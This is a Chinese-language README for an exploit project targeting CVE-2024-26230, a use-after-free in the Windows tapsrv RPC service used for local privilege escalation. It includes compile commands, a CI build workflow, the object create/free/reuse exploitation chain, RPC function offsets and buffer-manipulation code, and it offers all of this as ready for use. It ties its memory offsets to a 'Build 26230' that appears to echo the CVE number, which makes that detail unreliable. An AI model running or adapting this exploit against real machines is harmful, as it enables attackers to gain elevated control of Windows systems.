CVE-2024-26230 Windows RPC 远程代码执行漏洞利用
本项目提供了针对 Windows 系统中 tapsrv 服务的 CVE-2024-26230 漏洞的完整利用代码。该漏洞是 Windows RPC 服务中的 Use-After-Free (UAF) 漏洞,通过精心构造的 RPC 请求,可以实现本地权限提升。
功能特性
- 完整的漏洞利用链:通过 RPC 接口操作,触发 UAF 漏洞实现任意代码执行
- 精确的偏移量控制:针对 Windows 特定版本(Build 26230)的内存布局进行精确控制
- RPC 通信封装:完整实现了与
tapsrv服务的 RPC 客户端通信逻辑 - 自动化构建:通过 GitHub Actions 实现自动化的编译和构建流程
安装指南
系统要求
- Windows 操作系统(目标版本 Build 26230)
- Visual Studio 开发环境或 MSVC 编译器
- Windows SDK(包含 RPC 开发库)
依赖项
rpcrt4.lib- RPC 运行时库wtsapi32.lib- Windows 终端服务 APIuserenv.lib- 用户环境配置库
编译步骤
- 克隆项目仓库
git clone https://github.com/yourusername/CVE-2024-26230.git
cd CVE-2024-26230
- 使用 Visual Studio 编译
# 打开开发者命令提示符
cl /O2 /Zi /EHa /DUNICODE /D_UNICODE /std:c++17 ^
exp\exp.cpp exp\tapsrv_c.c exp\tapsrv_s.c ^
/Fe:CVE-2024-26230.exe ^
/link rpcrt4.lib wtsapi32.lib userenv.lib
- 使用 GitHub Actions 自动编译 项目配置了自动化构建流程,推送代码后会自动编译并生成可执行文件。
使用说明
基础用法
编译成功后,在目标系统上执行生成的可执行文件:
CVE-2024-26230.exe
漏洞利用流程
- 建立 RPC 连接:通过
ClientAttach函数与tapsrv服务建立连接 - 创建 GOLD 对象:调用
GetUIDllName接口创建目标对象 - 释放对象:通过
FreeDialogInstance接口释放已创建的对象 - 触发 UAF:使用
TRequestMakeCall接口触发 Use-After-Free 漏洞 - 对象重用:通过
TUISPIDLLCallback接口利用已释放的对象
核心实现代码
// 创建 GOLD 对象
int create_gold(PCONTEXT_HANDLE_TYPE &context) {
init();
write_func_offset((void*)buffer, req_func["GetUIDllName"] / 0x8);
write_parament((void*)buffer, 1, 1);
write_parament((void*)buffer, 2, 3);
write_parament((void*)buffer, 5, -1);
ClientRequest(context, buffer, N, &use);
return read_parament((void*)buffer, 7);
}
// 释放 GOLD 对象
void free_gold(PCONTEXT_HANDLE_TYPE& context, int gold_id) {
init();
write_func_offset((void*)buffer, req_func["FreeDialogInstance"] / 0x8);
write_parament((void*)buffer, 1, gold_id);
ClientRequest(context, buffer, N, &use);
}
关键参数说明
req_func映射表:定义了各个 RPC 函数的偏移量magic = 0x40000018:内存布局的关键偏移值- 缓冲区大小控制:通过
N = 1024和M = 0x40000000控制内存分配
核心代码
RPC 通信辅助函数
// 内存分配和释放函数
void __RPC_FAR* __RPC_USER MIDL_user_allocate(size_t len) {
return malloc(len);
}
void __RPC_USER MIDL_user_free(void __RPC_FAR* ptr) {
free(ptr);
}
// 缓冲区操作函数
void write_func_offset(void* buffer, uint32_t offset) {
*(int*)buffer = offset;
}
void write_parament(void* buffer, uint32_t n, int value) {
*((int*)buffer + 1 + n) = value;
}
void* get_vdata_ptr(void* buffer) {
return (void*)((char*)buffer + 60);
}
int read_parament(void* buffer, uint32_t n) {
return *((int*)buffer + 1 + n);
}
RPC 接口定义
// tapsrv 接口定义(来自 tapsrv_h.h)
typedef /* [context_handle] */ void *PCONTEXT_HANDLE_TYPE;
long ClientAttach(
/* [context_handle][out] */ PCONTEXT_HANDLE_TYPE *pphContext,
/* [in] */ long lProcessID,
/* [out] */ long *phAsyncEventsEvent,
/* [string][in] */ const wchar_t *pszDomainUser,
/* [string][in] */ wchar_t *pszMachine);
void ClientRequest(
/* [in] */ PCONTEXT_HANDLE_TYPE phContext,
/* [size_is][length_is][out][in] */ unsigned char *pBuffer,
/* [in] */ long lNeededSize,
/* [out][in] */ long *plUsedSize);
void ClientDetach(
/* [out][in] */ PCONTEXT_HANDLE_TYPE *pphContext);
漏洞利用流程控制
// RPC 函数偏移量映射
std::map<std::string, uint32_t> req_func = {
{ "GetAsyncEvents", 0x0},
{ "GetUIDllName", 0x8 },
{ "TUISPIDLLCallback", 0x10 },
{ "FreeDialogInstance", 0x18 },
{ "TRequestMakeCall", 0x3c8 },
};
// 缓冲区初始化
void init() {
memset(buffer, 0x00, N);
use = 60;
}
GitHub Actions 构建配置
name: build-26230
on:
workflow_dispatch: {}
push:
paths:
- 'exp/**'
- '.github/workflows/build-26230.yml'
jobs:
win-build:
runs-on: windows-latest
steps:
- uses: actions/checkout@v4
- uses: ilammy/msvc-dev-cmd@v1
with:
arch: x64
- name: Compile (x64 Release)
shell: pwsh
run: |
New-Item -ItemType Directory -Force -Path bin | Out-Null
cl /O2 /Zi /EHa /DUNICODE /D_UNICODE /std:c++17 `
exp\exp.cpp exp\tapsrv_c.c exp\tapsrv_s.c `
/Fe:bin\CVE-2024-26230.exe `
/link rpcrt4.lib wtsapi32.lib userenv.lib
技术细节
该利用代码基于对 Windows RPC 服务 tapsrv 的深入分析,通过以下步骤实现漏洞触发:
- 内存布局控制:利用
ClientRequest函数的缓冲区操作,精确控制内存分配和释放时机 - 对象生命周期管理:通过
GetUIDllName和FreeDialogInstance创建和释放对象,制造 UAF 条件 - 函数指针覆盖:利用
TRequestMakeCall和TUISPIDLLCallback实现代码执行流劫持
项目中的偏移量和内存地址基于 Windows Build 26230 版本,其他版本可能需要相应调整。 6HFtX5dABrKlqXeO5PUv//ZS3pv19S/B+mOAMNyjPnM=